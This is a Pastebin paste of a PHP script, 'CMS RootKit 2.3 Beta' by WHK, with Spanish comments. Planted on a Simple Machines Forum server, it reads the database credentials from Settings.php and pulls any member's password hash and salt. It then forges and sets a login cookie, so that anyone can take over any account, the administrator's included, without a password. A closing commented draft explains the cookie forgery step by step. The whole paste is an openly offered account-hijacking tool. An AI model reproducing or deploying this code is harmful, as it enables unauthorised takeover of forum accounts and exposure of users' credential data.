Guest User

WHK

a guest
Mar 29th, 2010
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 21.69 KB | None | 0 0
  1. <?php
  2.  
  3. #################################################
  4. # Archivo           : rk.php    #
  5. # Nombre            : CMS RootKit   #
  6. # Version           : 2.3 Beta      #
  7. # Autor             : WHK           #
  8. # Sistemas CMS soportados   : SMF 1.1.4 #
  9. #################################################
  10.  
  11. // Declaraciones, variables y constantes ============================================
  12. $rk_path_smf        = "./Settings.php";
  13. $rk_path_wordpress  = "./wp-config.php";
  14. $rk_cms         = rk_filtro($_GET["CMS"]);
  15. $rk_id          = rk_filtro($_GET["id"]);
  16. // $rk_tipo_user    = rk_filtro($_GET["tipo_user"]);
  17. $rk_username        = rk_filtro($_GET["username"]);
  18. $rk_cookiename      = urlencode($_GET["cookiename"]);
  19. $rk_id_MEMBER       = rk_filtro($_GET["ID_MEMBER"]);
  20. $rk_id_GROUP        = rk_filtro($_GET["ID_GROUP"]);
  21. $rk_passwd      = rk_filtro($_GET["passwd"]);
  22. $rk_passwordSalt    = rk_filtro($_GET["passwordSalt"]);
  23. $rk_header      = "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">
  24. <html>
  25. <head>
  26. <title>CMS RootKit by WHK</title>
  27. </head>
  28. <body style=\"color: rgb(255, 255, 255); background-color: rgb(102, 0, 0);\" alink=\"white\" link=\"white\" vlink=\"white\">\n<div style=\"text-align: center;\">
  29. <big>
  30. <span style=\"font-weight: bold;\"><a href=\"?\">CMS RootKit by WHK</a></span>
  31. </big><br />
  32. </div><br /><br />
  33. <table style=\"text-align: center; width: 100%; font-weight: bold;\" border=\"0\">
  34. <tbody>
  35. <tr>
  36. <td>Herramientas</td>
  37. </tr>
  38. </tbody>
  39. </table>
  40. <table style=\"text-align: center; width: 100%;\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\">
  41. <tbody>
  42. <tr>
  43. <td><a href=\"?CMS=crear\">Crear cookie</a></td>
  44. </tr>
  45. </tbody>
  46. </table>
  47. <br /><br />";
  48. $rk_footer      = "</body>
  49. </html>";
  50. $rk_consola_a       = "<span style=\"font-style: italic; font-weight: bold;\">Debugger</span><br />
  51. <table style=\"text-align: left; width: 100%; color: rgb(51, 255, 51);\" border=\"2\" cellpadding=\"0\" cellspacing=\"0\">
  52. <tbody>
  53. <tr>
  54. <td style=\"background-color: rgb(0, 0, 0);\">\n";
  55. $rk_consola_b       = "</td>
  56. </tr>
  57. </tbody>
  58. </table>\n";
  59. $rk_contenido_1     = "<br /><br />
  60. <span style=\"font-weight: bold;\"> Haz click sobre el sistema CMS que deseas administrar.</span>\n";
  61. $rk_contenido_2     = "<span style=\"font-weight: bold;\">Ingrese el nombre de usuario registrado para iniciar seci&oacute;n, o si
  62. lo prefieres puedes ingresar &uacute;nicamente el numero de usuario registrado.
  63. (No se requiere password).<br /><br />
  64. </span>
  65. <form method=\"get\">
  66. <input name=\"CMS\" value=\"SMF\" type=\"hidden\">
  67. <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
  68. <tbody>
  69. <tr>
  70. <td>Username:&nbsp;</td>
  71. <td><input name=\"username\" type=\"text\"></td>
  72. <td><input value=\"Ingresar\" type=\"submit\"></td>
  73. </tr>
  74. </form>
  75. <form method=\"get\">
  76. <input name=\"CMS\" value=\"SMF\" type=\"hidden\">
  77. <tr>
  78. <td>Id N&ordm;:&nbsp;</td>
  79. <td><input name=\"id\" type=\"text\"></td>
  80. <td><input value=\"Ingresar\" type=\"submit\"></td>
  81. </tr>
  82. </tbody>
  83. </table>
  84. </form>\n";
  85. $rk_error_1     = "Falta cookiename";
  86. $rk_error_2     = "Falta ID_MEMBER";
  87. $rk_error_3     = "Falta passwd";
  88. $rk_error_4     = "Falta passwordSalt";
  89. $rk_error_5     = "Falta ID_GROUP";
  90. $rk_comando_0       = "root@system:~$ <br />\n";
  91. $rk_comando_1       = "root@system:~$ rk&nbsp;-cms verificar<br />\n";
  92. $rk_comando_2       = "root@system:~$ rk&nbsp;-cms $rk_cms<br />\n";
  93. $rk_comando_3       = "root@system:~$ rk&nbsp;-cms $rk_cms -username $rk_username<br />\n";
  94. $rk_comando_4       = "root@system:~$ rk&nbsp;-cms $rk_cms -cookiename $rk_cookiename -ID_MEMBER $rk_id_MEMBER -passwd *** -passwordSalt $rk_passwordSalt<br />\n";
  95. // ==================================================================================
  96.  
  97. // Funciónes ========================================================================
  98. // Filtro ---------------------------------------------------------------------------
  99. function rk_filtro($rk_input){
  100.  if ($rk_input != ""){
  101.   $rk_referer = htmlspecialchars($_SERVER['HTTP_REFERER']);
  102.   $rk_filtro = array("`", "´", '"', "<", ">", ";", "'", "%60", "%C2%B4", "%22", "%3E", "%3C","%27", "%25", "%");
  103.   for ($rk_i=0; $rk_i < count($rk_filtro) ; $rk_i++) {
  104.    if(eregi($rk_filtro[$rk_i],$rk_input)) {
  105.   echo "<center>Por razones de seguridad no puede mostrarse la p&aacute;gina debido a que has ingresado<br />
  106. uno o mas caracteres prohibidos (".htmlspecialchars($rk_filtro[$rk_i]).") dentro de alg&uacute;n campo.<br /><br />
  107. <a href=\"$rk_referer\">Buelva a intentarlo por favor</a>.</center>\n";
  108.     exit(1);
  109.    }
  110.   }
  111.  return mysql_escape_string(htmlspecialchars($rk_input, ENT_QUOTES));
  112.  }
  113. }
  114. // ----------------------------------------------------------------------------------
  115.  
  116. // Verificación de sistemas CMS -----------------------------------------------------
  117. function rk_verificar($rk_vcms, $rk_path){
  118.  if ($rk_vcms != ""){
  119.   if ($rk_path != ""){
  120.    if (file_exists($rk_path)) {
  121.     rk_consola("Se ha detectado un sistema <a style=\"color: rgb(51, 255, 51);\" href=\"?CMS=$rk_vcms\">$rk_vcms</a> en este directorio.");
  122.     return false;
  123.    } else {
  124.     return true;
  125.    }
  126.   }
  127.  }
  128. }
  129. // ----------------------------------------------------------------------------------
  130.  
  131. // Mensaje de error -----------------------------------------------------------------
  132. function rk_error($rk_ferror){
  133.  if ($rk_error != ""){
  134.   echo "<font style='color: red'>[!] $rk_ferror</font><br />\n";
  135.   return true;
  136.  }
  137. }
  138. // ----------------------------------------------------------------------------------
  139.  
  140. // Mensaje rojo ---------------------------------------------------------------------
  141. function rk_msg_rojo($rk_fcolor){
  142.  if ($rk_fcolor != ""){
  143.   echo "<span style=\"font-weight: bold; color: rgb(204, 0, 0);\">$rk_fcolor</span>";
  144.  }
  145. }
  146. // ----------------------------------------------------------------------------------
  147.  
  148. // Mensaje verde --------------------------------------------------------------------
  149. function rk_msg_verde($rk_fcolor){
  150.  if ($rk_fcolor != ""){
  151.  echo "<span style=\"font-weight: bold; color: rgb(0, 153, 0);\">$rk_fcolor</span>";
  152.  }
  153. }
  154. // ----------------------------------------------------------------------------------
  155.  
  156. // Mensaje multicolor ---------------------------------------------------------------
  157. function rk_msg_multicolor($rk_fcolor, $verificar){
  158.  if ($rk_fcolor != ""){
  159.   if($verificar == "1"){
  160.    rk_msg_rojo($rk_fcolor);
  161.   } else {
  162.    rk_msg_verde($rk_fcolor);
  163.   }
  164.  }
  165. }
  166. // ----------------------------------------------------------------------------------
  167.  
  168. // Mensaje de consola ---------------------------------------------------------------
  169. function rk_consola($rk_fconsola){
  170.  if ($rk_fconsola != ""){
  171.   echo "[*] $rk_fconsola<br />\n";
  172.  }
  173. }
  174. // ----------------------------------------------------------------------------------
  175. // ==================================================================================
  176.  
  177. // Inicio ===========================================================================
  178. if($rk_cms == ""){
  179.  echo $rk_header;
  180.  echo $rk_consola_a;
  181.  echo $rk_comando_1;
  182.  rk_consola("Verificando sistemas CMS ...");
  183.  
  184. // Verificando sistemas CMS... -----------------------------------------------------
  185.  if (!rk_verificar("SMF", $rk_path_smf)) {
  186.   $rk_b = "1";
  187.  }
  188.  
  189.  if (!rk_verificar("Wordpress", $rk_path_wordpress)) {
  190.   $rk_b = "1";
  191.  }
  192. // ----------------------------------------------------------------------------------
  193.  
  194.  if ($rk_b != "1") {
  195.   rk_error("No se ha detectado ning&uacute;n sistema CMS.<br />\n");
  196.   echo "<br />$rk_comando_0\n";
  197.   echo $rk_consola_b;
  198.   echo $rk_footer;
  199.   exit(1);
  200.  } else {
  201.   echo "<br />$rk_comando_0\n";
  202.   echo $rk_consola_b;
  203.   echo $rk_contenido_1;
  204.   echo $rk_footer;
  205.   exit(0);
  206.  }
  207. }
  208. // ==================================================================================
  209.  
  210. // Crear cookie =====================================================================
  211. $rk_e = "1";
  212. if($rk_cms == "crear") {
  213. if ($rk_cookiename  == "") { $rk_f1 = "1"  ; $rk_e++ ; }
  214. if ($rk_id_MEMBER   == "") { $rk_f2 = "1"  ; $rk_e++ ; }
  215. if ($rk_passwd      == "") { $rk_f3 = "1"  ; $rk_e++ ; }
  216. if ($rk_passwordSalt    == "") { $rk_f4 = "1"  ; $rk_e++ ; }
  217. if ($rk_id_GROUP    == "") { $rk_f5 = "1"  ; $rk_e++ ; }
  218. if ($rk_e == "6") {
  219.  echo $rk_header;
  220.  echo "<span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
  221. <form method=\"get\">
  222. <table style=\"text-align: left; width: 100%;\" border=\"1\"
  223. cellpadding=\"1\" cellspacing=\"0\">
  224.  <tbody>
  225.    <tr>
  226.      <td>
  227.      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
  228.      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
  229.        <tbody>
  230.          <tr>
  231.            <td>cookiename:&nbsp;</td>
  232.            <td><input name=\"cookiename\" type=\"text\"></td>
  233.          </tr>
  234.          <tr>
  235.            <td>ID_MEMBER:&nbsp;</td>
  236.            <td><input name=\"ID_MEMBER\" type=\"text\"></td>
  237.          </tr>
  238.          <tr>
  239.            <td>Passwd (HASH):&nbsp;</td>
  240.            <td><input name=\"passwd\" type=\"text\"></td>
  241.          </tr>
  242.          <tr>
  243.            <td>passwordSalt:&nbsp;</td>
  244.            <td><input name=\"passwordSalt\" type=\"text\"></td>
  245.          </tr>
  246.          <tr>
  247.            <td>ID_GROUP:&nbsp;</td>
  248.            <td><input name=\"ID_GROUP\" type=\"text\"></td>
  249.            <td><input value=\"Generar cookie\" type=\"submit\"></td>
  250.          </tr>
  251.        </tbody>
  252.      </table>
  253.      </td>
  254.    </tr>
  255.  </tbody>
  256. </table>
  257. </form>
  258. <br />
  259. Ingresa los siguientes datos para generar tu cookie.";
  260.  echo $rk_footer;
  261. } else {
  262. if ($rk_e  >= "2") {
  263.  echo "$rk_header $rk_consola_a $rk_comando_4";
  264.  if ($rk_f1 == "1") { rk_error("$rk_error_1"); }
  265.  if ($rk_f2 == "1") { rk_error("$rk_error_2"); }
  266.  if ($rk_f3 == "1") { rk_error("$rk_error_3"); }
  267.  if ($rk_f4 == "1") { rk_error("$rk_error_4"); }
  268.  if ($rk_f5 == "1") { rk_error("$rk_error_5"); }
  269.  echo "<br />$rk_comando_0\n$rk_consola_b ";
  270.  echo "<br /><span style=\"font-weight: bold; text-decoration: underline;\">SMF</span>
  271. <form method=\"get\">
  272. <table style=\"text-align: left; width: 100%;\" border=\"1\"
  273. cellpadding=\"1\" cellspacing=\"0\">
  274.  <tbody>
  275.    <tr>
  276.      <td>
  277.      <input name=\"CMS\" value=\"crear\" type=\"hidden\">
  278.      <table border=\"0\" cellpadding=\"1\" cellspacing=\"0\">
  279.        <tbody>
  280.          <tr>
  281.            <td>";rk_msg_multicolor("cookiename:", $rk_f1);echo"&nbsp;</td>
  282.            <td><input name=\"cookiename\" type=\"text\" value=\"$rk_cookiename\"></td>
  283.          </tr>
  284.          <tr>
  285.            <td>";rk_msg_multicolor("ID_MEMBER:", $rk_f2);echo"&nbsp;</td>
  286.            <td><input name=\"ID_MEMBER\" type=\"text\" value=\"$rk_id_MEMBER\"></td>
  287.          </tr>
  288.          <tr>
  289.            <td>";rk_msg_multicolor("Passwd (HASH):", $rk_f3);echo"&nbsp;</td>
  290.            <td><input name=\"passwd\" type=\"text\" value=\"$rk_passwd\"></td>
  291.          </tr>
  292.          <tr>
  293.            <td>";rk_msg_multicolor("passwordSalt:", $rk_f4);echo"&nbsp;</td>
  294.            <td><input name=\"passwordSalt\" type=\"text\" value=\"$rk_passwordSalt\"></td>
  295.          </tr>
  296.          <tr>
  297.            <td>";rk_msg_multicolor("ID_GROUP:", $rk_f5);echo"&nbsp;</td>
  298.            <td><input name=\"ID_GROUP\" type=\"text\" value=\"$rk_id_GROUP\"></td>
  299.            <td><input value=\"Generar cookie\" type=\"submit\"></td>
  300.          </tr>
  301.        </tbody>
  302.      </table>
  303.      </td>
  304.    </tr>
  305.  </tbody>
  306. </table>
  307. </form>
  308. <br />
  309. Ingresa los siguientes datos para generar tu cookie.";
  310.  echo $rk_footer;
  311. }
  312.  
  313. if ($rk_e == "1") {
  314.  echo $rk_header;
  315.  echo $rk_consola_a;
  316.  echo $rk_comando_4;
  317.  if($rk_id_GROUP == "1") {
  318.   // Administrador
  319.   rk_consola("Construyendo cookie...");
  320.   rk_consola("Datos:");
  321.   echo "<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  322.   echo "[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  323.   echo "[!] passwd (hash): $rk_passwd<br />\n";
  324.   echo "[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  325.   rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_id_MEMBER\";i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  326.   echo "<br />$rk_comando_0\n";
  327.   echo $rk_consola_b;
  328.   echo $rk_footer;
  329.  }
  330.  if($rk_id_GROUP == "0") {
  331.   // Usuario
  332.   rk_consola("Construyendo cookie...");
  333.   rk_consola("Datos:");
  334.   echo "<font style='color: red'>\n[!] cookiename: $rk_cookiename<br />\n";
  335.   echo "[!] ID_MEMBER: $rk_id_MEMBER<br />\n";
  336.   echo "[!] passwd (hash): $rk_passwd<br />\n";
  337.   echo "[!] passwordSalt: $rk_passwordSalt</font><br />\n";
  338.   rk_consola("Cookie : $rk_cookiename=".urlencode("a:4:{i:0;i:$rk_id_MEMBER;i:1;s:40:\"".sha1($rk_passwd.$rk_passwordSalt)."\";i:2;i:1196740416;i:3;i:0;}"));
  339.   echo "<br />$rk_comando_0\n";
  340.   echo $rk_consola_b;
  341.   echo $rk_footer;
  342.  }
  343. }
  344. }
  345. }
  346. // ==================================================================================
  347.  
  348. // SMF ==============================================================================
  349. if($rk_cms == "SMF") {
  350.  echo $rk_header;
  351.  echo $rk_consola_a;
  352.  if($rk_username != ""){
  353.   echo $rk_comando_3;
  354.  } else {
  355.   echo $rk_comando_2;
  356.  }
  357. // Verificando la existencia de SMF -------------------------------------------------
  358.  rk_consola("Verificando sistema SMF...");
  359.  if (file_exists($rk_path_smf)) {
  360.   define("SMF", 1);
  361.   include($rk_path_smf);
  362.  rk_consola("Verifici&oacute;n satisfactoria.");
  363.  } else {
  364.   rk_error("No existe el sistema CMS en este directorio.");
  365.   echo "<br />$rk_comando_0\n";
  366.   echo $rk_consola_b;
  367.   echo $rk_footer;
  368.   exit(0);
  369.  }
  370.  
  371. // Definiendo conección SQL ---------------------------------------------------------
  372.  define (SERVER, $db_server);
  373.  define (USER,  $db_user);
  374.  define (PASS,  $db_passwd);
  375.  define (DB,    $db_name);
  376. // ----------------------------------------------------------------------------------------
  377.  
  378. // Función de la consulta SQL -------------------------------------------------------
  379. function rk_db_query($rk_sql){
  380.  if (!$rk_conectar = @mysql_pconnect(SERVER, USER, PASS)){
  381.   rk_error("Error en la conecci&oacute;n.");
  382.   return false;
  383.  }
  384.  if (!@mysql_select_db(DB,$rk_conectar) ){
  385.   rk_error("Error al seleccionar la base de datos.");
  386.   return false;
  387.  }
  388.  if (!$rk_query = @mysql_query($rk_sql,$rk_conectar) ){
  389.   rk_error("Error al efectuar la busqueda.");
  390.   return false;
  391.  }
  392.  return $rk_query;
  393. }
  394.  
  395. // Verificando ID_MEMBER y memberName ------------------------------------------------
  396.  $rk_consulta2 = "SELECT ID_MEMBER FROM `".$db_prefix."members`";
  397.  if ($rk_id != "") {
  398.   $rk_consulta = "SELECT * FROM `".$db_prefix."members` WHERE ID_MEMBER = $rk_id";
  399.   $c_ = "1";
  400.  }
  401.  
  402.  if ($c_ != "1") {
  403.   if ($rk_username != "") {
  404.    $rk_consulta = "SELECT * FROM `".$db_prefix."members` WHERE `memberName` LIKE CONVERT(_utf8 '$rk_username' USING latin1) COLLATE latin1_swedish_ci";
  405.   }
  406.  }
  407.  
  408. // Buscando usuario ------------------------------------------------------------------
  409.  rk_consola("Conectando...");
  410.  if(($rk_username == "") and ($rk_id == "")){
  411.   if ($rk_query = rk_db_query($rk_consulta2)){
  412.    $rk_whk = "1";
  413.    while ($rk_row = mysql_fetch_row($rk_query)){
  414.     foreach ($rk_row as $rk_out)
  415.      $rk_whk++;
  416.    }
  417.    $rk_whk_out = $rk_whk - 1;
  418.    rk_consola("Conecci&oacute;n satisfactoria.");
  419.   }
  420.   rk_consola("Numero de usuarios registrados: $rk_whk_out");
  421.   echo "<br />$rk_comando_0\n";
  422.   echo $rk_consola_b;
  423.   echo $rk_contenido_2;
  424.   echo $rk_footer;
  425.   exit(0);
  426.  
  427.  } else {
  428.   if ($rk_query = rk_db_query($rk_consulta)){
  429.    rk_consola("Conecci&oacute;n satisfactoria.");
  430.    if ($c_ == "1") {
  431.     rk_consola("Buscando usuario N&ordm;$rk_id ...");
  432.    } else {
  433.     rk_consola("Buscando usuario $rk_username...");
  434.    }
  435.    $rk_whk = 1;
  436.    while ($rk_row = mysql_fetch_row($rk_query)){
  437.     foreach ($rk_row as $rk_out){
  438.      if ($rk_whk == "1" ){ $rk_idMEMBER_out     = $rk_out; }
  439.      if ($rk_whk == "2" ){ $rk_usernameout  = $rk_out; }
  440.      if ($rk_whk == "5" ){ $rk_idGROUP_out  = $rk_out; }
  441.      if ($rk_whk == "14"){ $rk_passwd_out   = $rk_out; }
  442.      if ($rk_whk == "52"){ $rk_passwordSalt_out = $rk_out; }
  443.      $rk_whk++;
  444.     }
  445.    }
  446.   }
  447.  }
  448.  
  449. // Aplicando cookie ------------------------------------------------------------------
  450.  if($rk_idGROUP_out == "1") {
  451.   // Administrador
  452.   rk_consola("Usuario encontrado. Construyendo cookie...");
  453.   rk_consola("Datos:");
  454.   echo "<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  455.   echo "[!] Username: $rk_usernameout<br />\n";
  456.   echo "[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  457.   echo "[!] passwd (hash): $rk_passwd_out<br />\n";
  458.   echo "[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  459.   echo "[!] ID_GROUP: $rk_idGROUP_out (Administrador)</font><br />\n";
  460.   echo "<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;s:1:\"$rk_idMEMBER_out\";i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  461.   rk_consola("Cookie aplicada.");
  462.  }
  463.  if($rk_idGROUP_out == "0") {
  464.   // Usuario
  465.   rk_consola("Usuario encontrado. Construyendo cookie...");
  466.   rk_consola("Datos:");
  467.   echo "<font style='color: red'>\n[!] cookiename: $cookiename<br />\n";
  468.   echo "[!] Username: $rk_usernameout<br />\n";
  469.   echo "[!] ID_MEMBER: $rk_idMEMBER_out<br />\n";
  470.   echo "[!] passwd (hash): $rk_passwd_out<br />\n";
  471.   echo "[!] passwordSalt: $rk_passwordSalt_out<br />\n";
  472.   echo "[!] ID_GROUP: $rk_idGROUP_out (Usuario)</font><br />\n";
  473.   echo "<script>void(document.cookie='$cookiename=".urlencode("a:4:{i:0;i:$rk_idMEMBER_out;i:1;s:40:\"".sha1($rk_passwd_out.$rk_passwordSalt_out)."\";i:2;i:1196740416;i:3;i:0;}")."');</script>\n";
  474.   rk_consola("Cookie aplicada.");
  475.  }
  476.  if($rk_idGROUP_out == "") {
  477.   // Ninguno
  478.   rk_error("Usuario inexistente.<br />\n");
  479.  }
  480. echo "<br />$rk_comando_0\n";
  481. echo $rk_consola_b;
  482. echo $rk_contenido_2;
  483. echo $rk_footer;
  484. }
  485. // ----------------------------------------------------------------------------------
  486. // ==================================================================================
  487.  
  488. // Wordpress ========================================================================
  489. if($rk_cms == "Wordpress") {
  490.  echo $rk_header;
  491.  echo $rk_consola_a;
  492.  echo $rk_comando_2;
  493.  rk_error("En construcci&oacute;n.");
  494.  echo "<br />$rk_comando_0\n";
  495.  echo $rk_consola_b;
  496.  echo $rk_footer;
  497. }
  498. // ==================================================================================
  499.  
  500. // Borrador =========================================================================
  501. /*
  502.  
  503. #################################################
  504. # Nombre            : CMS RootKit   #
  505. # Version           : 1.0 Beta      #
  506. # Autor             : WHK           #
  507. #################################################
  508.  
  509. $rk_idMEMBER = $_GET["ID_MEMBER"];
  510. $rk_idGROUP = $_GET["ID_GROUP"];
  511. $password = $_GET["password"];
  512. $passwordSalt = $_GET["passwordSalt"];
  513.  
  514. // is_numeric($rk_idMEMBER) { echo "ok"; } else { echo "malo"; }
  515. // is_numeric($rk_idGROUP)  { echo "ok"; } else { echo "malo"; }
  516.  
  517. echo '
  518. <form method="GET">
  519. <input type="text" name="ID_MEMBER" value="'.$rk_idMEMBER.'"> ID_MEMBER<br />
  520. <input type="text" name="password" value="'.$password.'"> passwd<br />
  521. <input type="text" name="passwordSalt" value="'.$passwordSalt.'"> passwordSalt<br />
  522. <input type="submit" value="Crear cookie">
  523. </form><br />'."\n
  524.  
  525. <u><b>Tu cookie de usuario</b></u><br />
  526. a:4:{i:0;i:$rk_idMEMBER;i:1;s:40:".'"'.sha1($password.$passwordSalt).'"'.";i:2;i:1196740416;i:3;i:0;}<br />
  527. ".urlencode("a:4:{i:0;i:$rk_idMEMBER;i:1;s:40:".'"'.sha1($password.$passwordSalt).'"'.";i:2;i:1196740416;i:3;i:0;}")."<br />
  528. <a href=".'"'."javascript:void(document.cookie='".urlencode("a:4:{i:0;i:$rk_idMEMBER;i:1;s:40:".'"'.sha1($password.$passwordSalt).'"'.";i:2;i:1196740416;i:3;i:0;}")."');".'"'.">Aplicar cookie</a><br /><br />
  529.  
  530. <u><b>Tu cookie de Administrador</b></u><br />
  531. a:4:{i:0;s:1:".'"'.$rk_idMEMBER.'"'.";i:1;s:40:".'"'.sha1($password.$passwordSalt).'"'.";i:2;i:1196740416;i:3;i:0;}<br />
  532. ".urlencode("a:4:{i:0;s:1:".'"'.$rk_idMEMBER.'"'.";i:1;s:40:".'"'.sha1($password.$passwordSalt).'"'.";i:2;i:1196740416;i:3;i:0;}")."<br />
  533. <a href=".'"'."javascript:void(document.cookie='".urlencode("a:4:{i:0;s:1:".'"'.$rk_idMEMBER.'"'.";i:1;s:40:".'"'.sha1($password.$passwordSalt).'"'.";i:2;i:1196740416;i:3;i:0;}")."');".'"'.">Aplicar cookie</a>
  534.  
  535. ";
  536.  
  537. // if ($rk_idGROUP == 1) { echo 'Administrador'; }
  538. // if ($rk_idGROUP == 0) { echo 'Usuario'; }
  539.  
  540. Autentificar una cookie SMF con derechos de lectura sobre la base de datos.
  541. -----------------------------------------------------------------------------------------------------------//
  542.  
  543. Existe una tabla llamada (smf_members) donde el ID Nº1 es el Administrador. Nuestra cookie
  544. debe quedar de la siguiente manera (todo junto):
  545.  
  546. BRUTO     = a:4:{i:0; i:5; i:1;s:40: "c3fa738c1999c1d2c5ccc7ceaa0fc808b21d276e" ;i:2;i:1196740416;i:3;i:0;}
  547. URLENCODE = a%3A4%3A%7Bi%3A0%3Bi%3A5%3Bi%3A1%3Bs%3A40%3A%22c3fa738c1999c1d2c5ccc7ceaa0fc808b21d276e%22%3Bi%3A2%3Bi%3A1196740416%3Bi%3A3%3Bi%3A0%3B%7D
  548.  
  549. a:4:{i:0                    : No se modifican.
  550. i:5                         : Significa que es el ID Nº5 dentro de la tabla de usuarios.
  551. i:1;s:40:                   : No se modifica,
  552. "c3fa738c1999c1d2c5ccc7ceaa0fc808b21d276e"  : Hash
  553. ;i:2;i:1196740416;i:3;i:0;}             : No se modifica
  554.  
  555. En caso de ser un Administrador su ID pasar&aacute; a ser (s:1:"5"), donde 5 es su ID y (s:1:) no se modifican.
  556. Por ejemplo:
  557. a:4:{i:0; s:1:"5"; i:1;s:40: "c3fa738c1999c1d2c5ccc7ceaa0fc808b21d276e" ;i:2;i:1196740416;i:3;i:0;}
  558.  
  559. Ya que tenemos el ID necesitamos averiguar el hash de la siguiente manera...
  560. 1. Existe una columna llamada (passwordSalt) la cual es generada aleatoriamente de la siguiente manera = substr(md5(rand()), 0, 4)
  561. 2. Existe una columna llamada (password) la cual es el password cifrado.
  562. 3. Creamos la siguiente f&oacute;rmula= [sha1($password.$passwordSalt);] y obtenemos el hash.
  563. 4. Codificamos en URLENCODE y aplicamos la cookie.
  564.  
  565. Att. WHK.
  566. -----------------------------------------------------------------------------------------------------------//
  567. */
  568. // ==================================================================================
  569.  
  570. ?>
Advertisement
Add Comment
Please, Sign In to add comment